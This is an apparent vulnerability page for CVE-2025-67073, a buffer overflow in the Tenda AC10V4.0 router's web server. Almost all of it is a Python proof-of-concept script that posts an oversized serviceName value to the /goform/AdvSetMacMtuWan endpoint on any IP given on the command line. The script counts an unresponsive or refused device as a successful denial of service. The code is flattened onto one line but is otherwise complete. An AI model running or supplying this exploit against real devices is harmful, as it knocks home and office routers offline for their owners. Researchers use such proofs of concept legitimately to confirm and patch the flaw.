CVE-2025-67073 | Tenda AC10V4.0 httpd缓冲区溢出漏洞

import requests import sys # CVE-2025-67073 PoC - Tenda AC10V4.0 Buffer Overflow # Target: /goform/AdvSetMacMtuWan endpoint def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit buffer overflow in fromAdvSetMacMtuWan function Target: Tenda AC10V4.0 V16.03.10.20 """ url = f"http://{target_ip}:{target_port}/goform/AdvSetMacMtuWan" # Generate overflow payload - adjust length based on target # Typical buffer overflow offset for MIPS devices: 1000-2000 bytes overflow_length = 2000 payload = "A" * overflow_length # Construct POST request with malicious serviceName data = { "serviceName": payload, # Additional parameters may be required "mtuSize": "1500" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; exploit-poc)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {overflow_length} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response status: {response.status_code}") print(f"[*] Response length: {len(response.text)} bytes") # Check if target is vulnerable (no response or timeout indicates success) if response.status_code == 200 and len(response.text) < 50: print("[+] Target appears vulnerable - possible DoS triggered") return True else: print("[-] Target may not be vulnerable or already patched") return False except requests.exceptions.Timeout: print("[+] Target is unresponsive - DoS exploit likely successful") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - service may be down") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_buffer_overflow(target, port)